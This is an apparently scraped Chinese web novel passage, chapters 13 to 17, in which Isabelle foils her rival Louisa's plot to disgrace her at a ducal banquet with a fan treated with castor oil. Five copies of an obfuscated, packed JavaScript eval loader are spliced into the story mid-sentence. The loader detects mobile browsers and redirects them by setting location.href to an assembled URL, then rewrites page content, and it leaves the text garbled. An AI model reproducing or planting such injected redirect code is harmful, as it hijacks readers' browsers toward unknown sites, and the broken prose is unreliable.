乔伊斯涕泪涟涟,从女王手中接过斯宾塞家族权杖,又戴上公爵冠冕。就在念宣誓词的那一刻,失踪数月的海因里希再次出现。 没人有知道海因里希累累伤痕是哪里来的,所有人只是震惊于他的出现,然后眼睁睁地看着他,堂而皇之地夺过叔叔的权杖和冠冕,以优先级更高的身份继承爵位。 举凡贵族秘辛,除了众人目睹的情形之外,总有些谣传或是不可考的部分。 比如,听说海因里希自从回来就病了,精神异常,极易暴怒,还在发病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902050|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期间杀了一个为他驱邪的牧师,这在信教氛围极其浓厚的锡兰公国是很不可思议的事情。 即便他是公爵,也不能犯下这等滔天大罪。 查尔维斯庄园口风很紧,所以外界对此只有谣传,并没有确切证据。 再比如,乔伊斯在某一个夜晚突然暴毙,第二天被儿子埃德蒙发现。据说有人看见头天晚上,海因里希从乔伊斯的房间出去。 自此,埃德蒙与海因里希势同水火。 根据这些拼凑的信息,伊莎贝尔基本推断,这就是因为爵位引发的兄弟阋墙、手足相残事件。 父亲和哥哥死后,乔伊斯为争夺继承权,暗杀侄子。结果袭爵当天,大难不死的侄子再次出现,不仅抢回了爵位,还把乔伊斯弄死。 至于老公爵父子俩的死,是阴谋还是意外?海因里希战后归来发疯是否真的杀死牧师?乔伊斯暴毙究竟是不是海因里希所为,这些暂时还不能得出结果。 不过埃德蒙显然已经将堂哥海因里希视为杀父仇人。而且从利益上看,海因里希没有儿子,他如果意外身亡,爵位就会落在埃德蒙头上。不管哪个方面出发,埃德蒙都有弄死海因里希的理由。 唯一值得让伊莎贝尔细想的是……他们如此公然对抗,祖母薇奥莱特夫人当真蒙在鼓里?还是说,她什么都明白,任由他们相争,是另有考量? 伊莎贝尔不相信出身贵族的老夫人真像看上去那样糊涂,就像路易莎嫁进公爵府,绝不只是因为对埃德蒙的爱。 伊莎贝尔用羽毛笔整理所有信息,再将纸张靠近火源,然后付之一炬。 冰蓝色眼眸里倒映着火光,她轻轻敲击着桌面,这是她思考时的惯用动作。 说白了,斯宾塞家的爱恨情仇与她无关。她要做的是,兵来将挡水来土掩。拆分一个又一个的小难题,线索越来越多,真相自然浮出水面。 例如此刻,她要应对的不是高深的陷阱,而是路易莎即将抛出的小麻烦。 等她解决了,难度自然升级,就像前世玩游戏打怪一样。 想至此,门适时被敲响。 “诺曼小姐,晚宴即将开始,路易莎太太派我把礼服送来了。” 伊莎贝尔眸光微动,整理好书桌才去开门。 “谢谢。” 门外,悠扬的音乐从楼下大厅传来。 一场注定不平静的晚宴,等待着她的亮相。 14. 第 14 章 “当”的一声,茶杯摔得四分五裂。 埃德蒙眼眶通红,暴怒地砸着视野范围内的一切陈设。 金钱与尊严同时摔得粉碎。 路易莎坐在一旁梳妆,神情悠闲,甚至还招呼女仆别过去,先等等。似乎对眼前的情景见怪不怪。 愤怒渐渐消散,梳妆镜里倒映着沉默沮丧的男人,路易莎一面试耳环,一面示意女仆出去。 “埃德,我说过无数次,愤怒无法解决任何问题。” “但能获得一时痛快。”埃德蒙自嘲。 “噢!别这样,亲爱的。”路易莎声音软了下来,上前抱住埃德蒙,“只是输了一场捕猎罢了。” “可我想赢过海因!哪怕一次!”埃德蒙眼底怒火灼烧,拳头攥紧,“我恨他!恨到想把他撕碎!” “别心急,埃德。”路易莎抚摸着他的脸,柔声劝慰,“武力赢得的胜利只能维持一时的荣光,只有等你继承爵位那一天,整个查尔维斯甚至锡兰公国,都会向你致敬。” “谢谢你的宽慰,亲爱的。”埃德蒙吻了吻她的手背,眸光流露出愧疚,“抱歉,我不该在你面前失态。当初如果不是发生那件事,你该嫁给海因当名正言顺的公爵夫人,而不是跟着我走弯路。” “不,不!埃德。”路易莎抱住他,两人接了一个绵长的吻,“嫁给你我从不后悔。” 夫妻俩温存片刻,突然想起心头大患。 “说起来,这位诺曼小姐有些出乎我的意料。”路易莎若有所思,“当初,是贾维斯爵士说诺曼家的女儿愚钝不堪,在克劳伦伯爵的社交舞会上出尽洋相,现在看来,她也不是一无是处。” “何止这些?”埃德蒙冷笑,“安德鲁这个废物告诉我,公爵府带过去的聘礼,通通被这个丫头留了下来。” “看来是我们掉以轻心了。”路易莎缓缓道,“当初如果不是看她出身低微,我绝不会给她机会踏进查尔维斯。” “现在弥补也不晚。”他顿了顿,眸中闪过阴狠,搂住路易莎轻声道:“还记得从前四位倒霉的未婚妻,是怎么消失的吗?” “不,还没到这一步。” 埃德蒙盯着爱妻的眼睛:“你想怎么做?” “一个破落男爵的女儿罢了,有的是机会让她出丑。”路易莎轻笑,眸光微动,“只要祖母不信任她,管家权就依然在我手里,查尔维斯的无冕之王还是我们。” 埃德蒙挑眉:“你已经动手了?” 路易莎在全身镜前转了一个圈,优雅地挥动着扇子。 “今晚的宴会,等着看好戏吧。” - 同一时间。 “谢谢。” 伊莎贝尔从女仆手中接过礼服和饰品。 艾米丽紧跟上楼,挥退女仆,替伊莎贝尔更衣。 她倒没有立刻行动,而是学以致用,先仔细检查一番。 伊莎贝尔面露赞赏:“学得很快,艾米丽。” 艾米丽得意一笑,越发用心,甚至像猎犬似的闻一闻。 “这太奇怪了!”艾米丽嘟囔,“我以为会藏着什么荨麻草啦、使人头晕的药啦,可是衣服里什么都没有!” 伊莎贝尔看向衣架上华丽的丝绸长裙,若有所思。 “难道是我们多心了?”艾米丽疑惑。 伊莎贝尔随手拿起托盘上的折扇轻摇,轻笑:“如此绝佳的场合,她怎么会放过呢?假如是我,一定只会在私人物品上动手脚,否则会容易误伤他人。所以……是什么呢?” 衣服?鞋子?首饰? 冰蓝色的眼睛滑过浅浅眸光。 忽然,鼻尖闻到一缕清香。 如果不仔细闻,还真发现不了。因为它融入了普通的香气里,遮盖了本身的特殊味道。 伊莎贝尔动作一顿,缓缓垂眸,看向手里的扇子。 - 晚宴即将开始。 查尔维斯主城堡金碧辉煌,大厅穹顶之上,百年前的壁画仍然精美绝伦,历史的厚重与贵族的奢华扑面而来。 仆人穿着统一制服,行走时静谧无声、井然有序。 大理石长餐桌上摆满各色玫瑰与绣球,繁复美丽的水晶烛台点缀其间。银质餐具由资深的锡兰管家按照贵族礼仪摆放,以餐盘为中心,左叉右刀,刀刃朝内,叉齿向上。甜点匙必须横放,手柄朝右。所有宾客一应如是。 假如有哪位野蛮人误闯天家,从用餐礼仪便可分辨。 奇怪的是,也没人追究,吃个饭为什么要用尺子测量餐具相隔的位置究竟误差几厘米。好像数字越精确,他们在贵族圈里的地位就越不可动摇。 这使得大家必须使出浑身解数,面对吃饭这件轻松小事。 整七点,宾客陆续抵达。 薇奥莱特换了一件暗金色晚宴礼服,搭同色丝绸披肩。 海因里希一改下午的落拓不羁,换上正式黑礼服,胸前挂着银链怀表,手持乌木手杖。显得贵气逼人,有真正的公爵风范。 祖孙俩在大厅相遇,海因里希弯曲胳膊示意,薇奥莱特顺势挽住,一边走一边挑眉道:“但愿你的未婚妻今晚表现得体,这可是她第一次参加查尔维斯晚宴,虽然来的人不多。” 说话间,海因里希抬眸,恰好看见伊莎贝尔缓缓下楼。 和白天低调的蓝装扮不同。女仆送来的的鹅黄色克里诺林裙花纹繁复精致,蕾丝与刺绣恰到好处地交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902051|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 融,衬得伊莎贝尔光彩照人。 “噢。”薇奥莱特平静地发出感叹,“看起来还不错。” “一般。”海因里希漠然点评。 但眼睛却注视着逐渐走近的女人,直到冰蓝色的眼睛看向自己前,才移开视线。 “薇奥莱特夫人。” 伊莎贝尔向薇奥莱特颔首行礼,她没空理会公爵先生的评价。此刻,她不着痕迹地打量刚进来的路易莎。而对方也是如此。 隔着众多宾客,二人视线接触,彼此含笑示意。 路易莎看见伊莎贝尔掩面的折扇,笑意越发真诚。 不多时,宾客开始入席。 伊莎贝尔的左边是海因里希,右边是白天见过的文森特伯爵。 “诺曼小姐,晚上好。”文森特俏皮地眨眼,“恐怕今晚我的脑袋要向左落枕了,希望海因不要介意。” 伊莎贝尔莞尔:“任何人面对您幽默的恭维都会喜笑颜开,我想公爵乐意见到未婚妻光鲜亮丽、受人追捧。” 文森特被逗笑:“老实说,你和传闻略有不同。” 仆人开始上菜,热闹的交谈还在继续。 通常来说,相邻的客人总要没话找话,聊上一整晚,以示礼貌。好在隔壁是海因里希,伊莎贝尔不用花心思照顾他,只需要对付文森特。 “是吗?突然发现洛森郡的村姑还算得体?”伊莎贝尔一面谈笑,一面注意着仆人端来面前的食物。 仆人:“杏仁奶油塔,我端着,您可随意取用。” “谢谢。”伊莎贝尔道谢,举起刀叉。 同一时刻,几道若有似无的目光胶着在她身上,好像在研判刀叉有没有滑动餐盘,发出刺耳的声响。 伊莎贝尔恍若不觉,自然地用餐,顺便与文森特说话。 直到看见她吃了食物,视线同时消失。 显而易见,有的来自“贵族礼仪小警察”、有的则来自餐桌对面,那位心怀鬼胎的路易莎。 见她吃了奶油塔,路易莎满意一笑,终于安心吃饭。 晚饭接近尾声,很快要开启舞会,众人逐渐离席。 文森特离开,伊莎贝尔也准备起身。忽然,右边传来男人的冷哼:“是我提醒的还不够吗?猎人已经设置陷阱,你不去排查,还大吃大喝,跟文森特那个傻老帽聊一整晚?” 伊莎贝尔心中发笑,余光瞥见路易莎向自己走来。 “诺曼小姐,今晚的第一支舞,应该由你和海因开场才对。” 话音刚落,只见伊莎贝尔眉头一皱,发出痛呼,倒在了海因里希肩上。 “啊!好痛!”她捂住腹部。 海因里希猛然皱眉:“奥黛丽?!” 15. 第 15 章 路易莎掩饰内心的雀跃,状似关心:“噢!我的天!这是怎么了?诺曼小姐你还好吗?” “滚开!”海因里希一把推开路易莎,打横抱起伊莎贝尔:“维克托,叫医生过来!” 突然,“昏迷”的伊莎贝尔把眼睛睁开一条缝,手肘戳了戳结实的胸膛。 暴怒的海因里希:“?” 在人群围过来之前,伊莎贝尔又恢复昏迷,闭着眼睛。 海因里希木着脸:“……” 薇奥莱特拄着手杖走来,皱眉问:“奥黛丽怎么了?” 路易莎:“奶奶,别担心,应该只是吃坏了东西。” 薇奥莱特不免有些抱怨:“噢!但愿派翠特厨娘别听见这句话,大家都吃的同样的东西,怎么她就有事?” 嘴上抱怨着,还是吩咐:“叫医生了吗?” 公爵男仆维克托正要行动,海因里希忽然开口:“不用叫了,我带她去休息一下。” 舞会即将开始,众人只是略作关心,料想没多大事。 关上休息室的门,海因里希表情阴沉,一回头,果然看见本该昏迷的伊莎贝尔女士,好端端地坐了起来,表情悠闲,还端着咖啡喝。 “到底怎么回事?奥黛丽·诺曼。” 直呼其名,看来气得不轻。 伊莎贝尔淡淡道:“古法典有句话叫,以牙还牙,以眼还眼。现在正是应验的时候。” 海因里希皱眉,还没开口,门被敲响。 “嘘!她来了。”伊莎贝尔眸光微动,重新躺回床上作虚弱状,“你先走吧,谢谢你,斯宾塞先生。” 海因里希重重冷哼,起身开门,见到路易莎,更是没什么好脸色,摔门而去。 “好些了吗?奥黛丽。”路易莎直奔伊莎贝尔床边。 伊莎贝尔挤出微笑,沙哑道:“肚子突然很疼,身上好像过敏,又红又肿,很痒,这恐怕要让我在舞会上失态,请帮向薇奥莱特夫人解释好吗?想必她会谅解。” 路易莎眼珠一转,忽然叹了口气:“这是你第一次出席舞会,如果失约,恐怕接连半个月的社交场合都会成为她们的谈资。” “这样吗?可是……”伊莎贝尔状似苦恼,突然抓挠脖子,喉咙也不舒服,“咳咳咳……我是真的不舒服了……帮我递杯水好吗,路易莎?” 路易莎审视着她被挠红的脖子,眼里暗藏不住的得意。 心情一好,便放下扇子,倒了一杯水,“慢点喝。” 伊莎贝尔喝完水,脸色好转。 路易莎:“你觉得怎么样?能动吗?” 伊莎贝尔轻叹一口气,微笑:“好些了,我整理一下头发,马上就去。” “不急,我等你吧。”路易莎体贴入微,决心要亲自把她押去舞会。 伊莎贝尔对着镜子整理碎发,里面倒映着路易莎的脸。 冰蓝色的眼睛划过冷意。 已经给过退路了,这是你自找的。路易莎。 - 舞厅乐声悠扬,往来宾客穿梭。 斯宾塞家的两位女士再度出现,引得众人关切。 伊莎贝尔接连感谢关心,而后被路易莎带到舞池中央。 “今天的第一首华尔兹,应该由诺曼小姐和海因共舞,你们说对吗?” 众人起哄:“迫不及待了!” “棒极了!别害羞,诺曼小姐。” 薇奥莱特坐着嘟囔:“噢!但愿男爵家的女儿学过跳舞,否则可丢大人了。” 乐团很有眼力劲儿,不等人同意,就将欢快的俚尔群舞曲,切换成优雅华尔兹。活泼的年轻男女们让开场地,将目光聚焦在伊莎贝尔和海因里希身上。 海因里希这点绅士礼仪还是有的,配合地给出邀请的手势。 “你可以吗?”他眼神睥睨,带着几分不耐,“我不喜欢跳舞,你别勉强自己,更别勉强我。” 伊莎贝尔很诧异:“噢,十分遗憾地发现公爵大人拥有把好话说成坏话的本事,向你祝贺,向我默哀。” 但此刻不是和海因里希辩论的时候,她目光一转,看向路易莎,举起香槟递给埃德蒙:“不邀请你美丽的妻子路易莎,一起加入我们吗?” “先生们,女士们。”又看向众人,“热闹属于所有人,请一起共舞吧。” 说罢,她从路过的侍从手里端起香槟一饮而尽。 文森特第一个响应:“好极了!我正想一展舞姿,把海因比下去!猎场得意的小子,可不见得舞场得意!” 众人哄笑起来。 埃德蒙见状,原本还犹豫地端着酒杯,此刻也爽快地一饮而尽,牵着路易莎下场,“来吧,亲爱的,别让风头属于海因。” 钢琴声响起,第一个音符流泻指尖,盘旋在空中。 华服美人名利场,优雅的绅士与小姐们跟随音乐旋转,各色裙摆开出不同却美丽的花。 擦过伊莎贝尔的鹅黄裙摆,路易莎冷笑,低声道:“很快就有好戏了,埃德蒙。” “万分期待。”埃德蒙冷笑。 篦麻精油神不知鬼不觉地混入扇香里,单闻无伤大雅,但如果配合奶油食用,将会腹痛、继而浑身起红疹,状似可怕的瘟疫。 这足以搞砸未来公爵夫人的第一次亮相,还能顺便传播瘟疫流言,让其他贵族舞会将她拒之门外。更别说一向视脸面如性命的薇奥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902052|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莱特夫人,路易莎甚至可以想象老太太白眼一翻,尖叫着喊嗅盐的样子。 那一定精彩至极! 路易莎暗笑。 褐色瞳孔盯着那道鹅黄身影,她旋转,绕圈。 一秒、两秒、三秒…… 从她用餐结束腹痛开始计算,已经快到药效发作的十分钟界限。 路易莎默默倒数,心中得意的情绪越扩越大。 不是仗着小聪明躲过难堪吗?不是志得意满抢走所有聘礼吗?奥黛丽·诺曼?一个卑微男爵家的愚蠢小姐,也配在查尔维斯耍心眼? 这一天,会让你永生难忘! 像是心有灵犀,倒数结束的那一刻,舞池里的鹅黄身影突然对上路易莎的视线,甚至还露出悠然的笑。 一瞬间,路易莎察觉不对。 怎么还没发作? 再等等…… 一分钟、两分钟…… 伊莎贝尔若无其事,仍在跳舞。 路易莎掌心开始冒汗,分不清是计划出现意外的忐忑,还是身体真的不适。 埃德蒙:“亲爱的,你怎么脸色苍白?” 路易莎深吸一口气,正要开口…… 突然!她脸色巨变! “等等!埃德蒙!”路易莎声音颤抖,豆大的汗珠从额角滑落,“不对劲!不对!快!快扶我去休息室!” “什么?!” “来不及了!快!”路易莎低喝,声音突然卡在喉咙口,僵在原地。 她感受到腹痛如绞,红疹开始从脖子开始蔓延,难以言喻地瘙痒让她无法自控,一道又一道地指甲印恨不得挠破皮肤…… 埃德蒙缓缓瞪大眼睛,就在这一刻,他脸色一变,同样弯曲着身体,捂着肚子。 “啊!好痛!” 红疹在男人苍白的皮肤上更为明显,几乎一瞬间爬满全身,痒得他快发疯! 以夫妻俩为圆心,周围渐渐有人回头,露出难以置信的神情…… “噢!上帝啊!埃德蒙?路易莎?!” “天哪?快看他们的脸!那是什么?!” “哦不!难道是瘟疫?!快叫医生!快!” “糟糕透顶!怎么参加个晚宴会遇到这么倒霉的事!上帝保佑,别传染我!” …… 路易莎的记忆停在原地,连同她和埃德蒙扭曲的身体。 此后发生的事情,如同哥特式小说般光怪陆离。唯一记得的,是薇奥莱特女士急着喊嗅盐的尖叫,以及震惊的人群里,那双平静的冰蓝色眼睛。 奥黛丽·诺曼?! 很好!好极了!的确是……永、生、难、忘、的、一、天! 16. 第 16 章 路易莎和埃德蒙双双被安置在家庭病房里。 从医生口中得知不是瘟疫,薇奥莱特第一时间将这个消息散播出去,没有让查尔维斯成为叫人避之不及的病毒发源地。 “从今天开始,一切代表斯宾塞的宴会都由奥黛丽去参加!埃德蒙和路易莎需要休息!好好休息!” 薇奥莱特将拐杖敲得砰砰响,整座城堡都被她的愤怒撼动。 “难以想象!一位公爵府少爷和侯爵府千金会发生这种事情!噢!真是弥补了斯宾塞家在丢脸方面的空白!” 能够等到宾客尽散,才开始发火,已经是薇奥莱特老太太的忍耐极限。 路易莎脸上红斑还没消失,戴着蕾丝面纱遮脸。身体虽然虚弱,盯着伊莎贝尔的眼睛却怒火灼灼:“奶奶!这不是意外!一定是有人要害我们!” 纵然她搬起石头砸自己的脚,但对手也别想好过! 埃德蒙恨声:“对!这件事一定要查到底!” 伊莎贝尔和海因里希站在角落。 闻言,海因里希看了她一眼,冷哼道:“看来是我小瞧了你。” 伊莎贝尔轻摇羽毛扇,但笑不语。 精美的蔷薇花纹刺绣羽毛扇,在烛光下折射出亮眼的光芒。 当然,这不是路易莎派女仆送过来的那一把。 掺了篦麻精油香氛的扇子,在路易莎来到休息室,帮她端水的那一刻,就被替换了。 路易莎精心调配的药剂,回到了自己的手里,以及丈夫埃德蒙喝下的那杯香槟里。 看着伊莎贝尔悠然的神情,海因里希便知道,她并不需要自己的援助。 哼,不要就不要! 他冷笑。 在确定她是否能在查尔维斯站稳脚跟之前,他绝不会插手帮她,哪怕一次。 这么想着,一抬眼,就看见路易莎眼底的仇恨快把伊莎贝尔灼穿,埃德蒙更是拧紧拳头,脸色铁青。 看着身边浑然不知危险降临的瘦弱女人,海因里希即将抬起的脚还是放下,站在伊莎贝尔身后,冷冰冰地把埃德蒙瞪了回去。 可惜伊莎贝尔脑后没长眼睛,不知道男人会在一秒钟内流转这么多复杂心思。 不过她并非对危险一无所知,相反,是胸有成竹。 薇奥莱特夫人虽然不信路易莎的话,却必须做出交代:“说清楚!谁要害你?拿出证据来!否则传出去,仆人都要背后笑话我们这乱糟糟的一家!” 伊莎贝尔心想,别否则了,斯宾塞家乱糟糟的名声早就传到千里之外了。 路易莎:“是奥黛丽!她把混合了蓖麻精油的扇子给了我!是她害我!” 薇奥莱特皱眉,看向伊莎贝尔:“怎么回事?!” 伊莎贝尔摊手:“我不明白,我的衣服和扇子都是由路易莎派人送来的。” 路易莎:“是我在帮你端水的时候,你把我的扇子替换了!你在里面掺了蓖麻精油!” 薇奥莱特眸光一凝。 乔治医生刚才的诊断结果,正是蓖麻精油混合奶油食物中毒。 伊莎贝尔面色不变,心中叹气。 路易莎如果穿越到东方后宫,恐怕连一集都活不过。 “你有没有想过,我第一天才来,怎么做到准备好蓖麻精油,安排晚餐里的奶油塔,再给扇子熏香?”伊莎贝尔耸肩,“众所周知,我可没有管理家仆的权力。” 路易莎张了张嘴,所有争辩都显得无力。 薇奥莱特冷哼一声,“路易莎,假如我是个三岁小孩,你还能骗骗我。很明显,奥黛丽没有陷害你的条件。” “是的,薇奥莱特夫人,我没有。”伊莎贝尔微笑,“但是路易莎倒是有陷害我的资本。” 路易莎脸色一白。 埃德蒙倏然起身:“你胡说什么?!” 海因里希几乎同一时间上前,瞥着埃德蒙:“想动手吗?” 埃德蒙攥紧拳头,恨恨坐下。 伊莎贝尔诧异地看了一眼海因里希,后者狠狠皱眉,翻了个白眼,嫌恶地撇开视线。一副要与她划清界限的样子。 薇奥莱特脸色凝重:“奥黛丽,你指认她害你,证据在哪?” 伊莎贝尔没说话,向后看了一眼。 紧接着,不苟言笑的女仆埃莉诺上前,拿出一叠清单:“夫人,十分钟前,诺曼小姐提醒我查询最近数月的采购清单。其中显示,只有路易莎太太的贴身女仆曾订购大量蓖麻制作精油,且在三天前制作香薰。” 路易莎愣住,和埃德蒙对视一眼,十分诧异。 老太太的贴身女仆最是古板!这个女人才来一天,埃莉诺怎么愿意帮她做事?! “不!我没有!我不知道什么蓖麻精油!一定是我的女仆背着我做的!奶奶,你相信我!”路易莎嗓音沙哑,“还有你!埃莉诺!你为什么冤枉我?是不是奥黛丽收买了你?!” 埃莉诺面无表情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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海因里希瞥着她,淡声道:“那你以为留在查尔维斯会过上好日子吗?弱者尸骨无存,强者会陷入无止境的斗争,你现在不过是被一个极小的胜利冲昏头脑。” “那是我的事。”伊莎贝尔忽然上前一步,冰蓝色的眼睛盯着他,微笑,“我为我的野心负责,也会承受选择的代价。” 17. 第 17 章 “很好!很好!”海因里希发出短促的笑声,点点头,眸中戾气横生,“祝你成功,别倒在半路。我绝不会伸手,哪怕只是扶你一把,我保证!” “万分感谢!”伊莎贝尔微眯眼,声调拔高,语气仍然冷静,“比起毫无用处的帮助,只做名义上的夫妻更让我感到舒坦。多谢你提供的自由,斯宾塞先生!” 突然爆发的争吵,结束得也很快。 可彼此目光对峙,谁也不让谁,谁也不先宣告离开。 伊莎贝尔很少动怒,即便海因里希作风强横。 她最擅长识别人心,无论他说话多么难听,但做的事的确有利于她。 能扛住赐婚的压力,夸口摆平一切送她走,是需要极大的能耐和勇气。 真正点燃她的导火索,是那句——我讨厌弱者。 当《镀金牢笼》只是文字,作为许莉莎,她并没有切身体会。 可当她成为伊莎贝尔,来到查尔维斯,看见这里的一切,看见每一个人,她都会想……他们怎么不帮帮奥蒂?她不知道奥蒂经历了什么,只知道这个小姑娘死在雪夜里。 明知道这已经是“上一世”,伊莎贝尔却控制不住审视查尔维斯的所有人。 就因为奥黛丽是个“弱者”?所以活该葬送在一些可笑的斗争里?可什么是弱者?他们又凭什么断定谁是弱者?不符合他们那一套法则的所有人吗? 狗屁的规则,一本书而已,迟早给你踹翻。 伊莎贝尔冷笑,闭上眼睛,深呼吸,平息完翻滚的情绪。 “海因里希。”伊莎贝尔沉默片刻,忽然直呼其名,“假如我就是弱者,单纯善良,毫无心机,就在今天被路易莎耍得团团转,你会帮我吗?” 海因里希嗤笑:“你在用莫须有的假设考验我的爱心?” 伊莎贝尔直视他:“回答我。” “不会。”他很快说。 海因里希黝黑的瞳孔像深渊,倒映着无数戾气,再抬眸,又恢复那副蔑视一切的样子。 “战场上心慈手软的人,永远最先倒下。在公爵府,单纯善良的人,还没出生。” 海因里希缓缓靠近,几乎贴着她的脸,轻声说,“我姓斯宾塞,又能是什么好人呢?” 说完,转身离去。 伊莎贝尔看着他的背影,伫立良久。 回忆他刚才眼底的浓烈情绪,忽然想起他种种可怕的传闻。 不是好人吗? 也许吧。 伊莎贝尔转身回了房间。 - 这一夜,伊莎贝尔突然梦见奥黛丽。 梦里的奥黛丽装束与以往不同,她穿着华丽的礼服裙,人却瘦得不成样子。硕大的珠宝戴在她的脖子上,越发显得细瘦可怜。 伊莎贝尔想叫她,却发现奥黛丽似乎看不见自己。 窗外雪花纷飞,她躺在床上,也不关窗,就这么呆呆地看着外面,水蓝色的眼睛毫无神采,奄奄一息。 忽然想到原书那段话——奥黛丽冻死在一个雪夜。 这是那一天吗? 亲眼目睹那个永远热情洋溢的小丫头,变成这副模样,伊莎贝尔的心不断往下沉。 即便是在梦里,她也试图发出声音唤醒奥黛丽。 突然,奥黛丽眼珠动了动,却不是听见伊莎贝尔的声音。 而是门被推开,有人进来了。 伊莎贝尔只能看见奥黛丽,却看不见她的视角。 奥黛丽似乎很惊讶这个人的到来,愣了很久,才接过那人递过来的信封。 那只手骨节分明,掌心还带有常年握着武器留下的老茧。 下一刻,画面一转。 奥黛丽被裹在厚被子里,歪着头靠在车窗边。 行驶的马车带动摇晃的视野。 虽然身体还是虚弱,但她的眼睛不再黯淡,重新焕发光亮。 车窗外是熟悉的景象——金盏菊迎风摇曳,诺曼庄园近在眼前。 …… 一觉醒来,伊莎贝尔在床上坐了很久。 她没有看过全文,难道故事的结局与梗概不同,奥黛丽没有死,反而被送回家了吗? “诺曼小姐,您的报纸。” 新派来的女仆伊迪斯准时敲门,打断伊莎贝尔的思绪。 “进来。” 伊莎贝尔有每天看新闻的习惯,今天有些晃神,看着看着就想到昨晚的梦。 也没什么好琢磨的,不管原书里奥黛丽结局如何,这一世,她不会让这些发生。 “小姐,早餐需要送上来吗?”伊迪斯问。 “如果不麻烦的话,就这么做,谢谢。”伊莎贝尔礼貌颔首。 忽然想起梦里那双手,她叫住伊迪斯,“对了,我想问问,斯宾塞家有三少爷吗?” 伊迪斯一愣:“没有,斯宾塞家只有两位少爷。” 伊莎贝尔挑眉,眸光微动:“那有没有一个叫亨里克的人?” 这让伊迪斯犯了难,她迟疑道:“有,但是……很多。查尔维斯庄园仆役加起来数百人,再算上村子里的佃户居民,叫亨里克的恐怕有一只手都不止,不知道您说的是哪一个。” 伊莎贝尔若有所思:“哦,我明白了。谢谢你。” 伊迪斯告退。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902054|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有三少爷?那亨里克这个名字大概也是假的。 假如梦境真的是原书内容,那就说明有人帮了奥黛丽。 这个男人起码得有能力将公爵夫人运出庄园。 埃德蒙不可能,排除。 现在假冒的三少爷亨里克也排除。 那么只剩……某位口口声声讨厌弱者,十足法|西|斯做派的先生了。 昨天因为这句话而动怒的伊莎贝尔,此刻怒意消弭,眼底划过玩味。 所以,即便是讨厌弱者,也还是会违背本心,伸出援手吗? 有点意思了。 她放下报纸,摇了摇铃铛,艾米丽很快进来,“小姐,有什么可以帮你?” 伊莎贝尔招了招手,示意她附耳我过来,“你帮我去……” - 微风拂过湖面,树叶发出簌簌声。 夏日的午后一切都显得懒洋洋。 艾米丽此刻却焦虑不堪,因为小姐交代了一个不可能完成的任务——打听出路易莎的背景和秘辛。 小姐还特意嘱咐她,上至老太太的贴身女仆埃莉诺,下至厨房帮佣,可以到处问,务必人尽皆知。 艾米丽很想说,这是问多少人就能解决的事情吗?谁敢把公爵府太太的秘密往外传?饭碗不要了吗? 她暗自苦恼,揪住路边的野草一顿猛薅。准备启用伊莎贝尔传授的第二套方法——向神祈祷。 湖边大树下,艾米丽闭着眼许愿——三分钟之内,让我看见那个女人的所有资料,阿门。 耳边传来脚步声,她睁开眼,就看见一个小女仆从身后跑了过去,还掉了本书。 “你东西掉了!”好心的艾米丽向来有拾金不昧的美德。 不料,小女仆跑得更快了,“嗖”一下没影。 艾米丽跑得喘不上气,连声呼喊未果,嘟囔着抱怨几声。 正要低头看看是什么,一翻开平平无奇的经书封皮,她陡然瞪大眼睛,眼泪汪汪。 心软的神!显灵了! 这哪是锡兰圣经?!这简直是查尔维斯八卦大全! 艾米丽不敢耽误,飞快送上伊莎贝尔案头,并眉飞色舞描述上帝显灵经过。 谁料,伊莎贝尔却并不显得惊讶,她翻了翻八卦大全,轻笑:“我想,也许不是上帝,是某位田螺先生。” 艾米丽匪夷所思:“田螺……先生?” 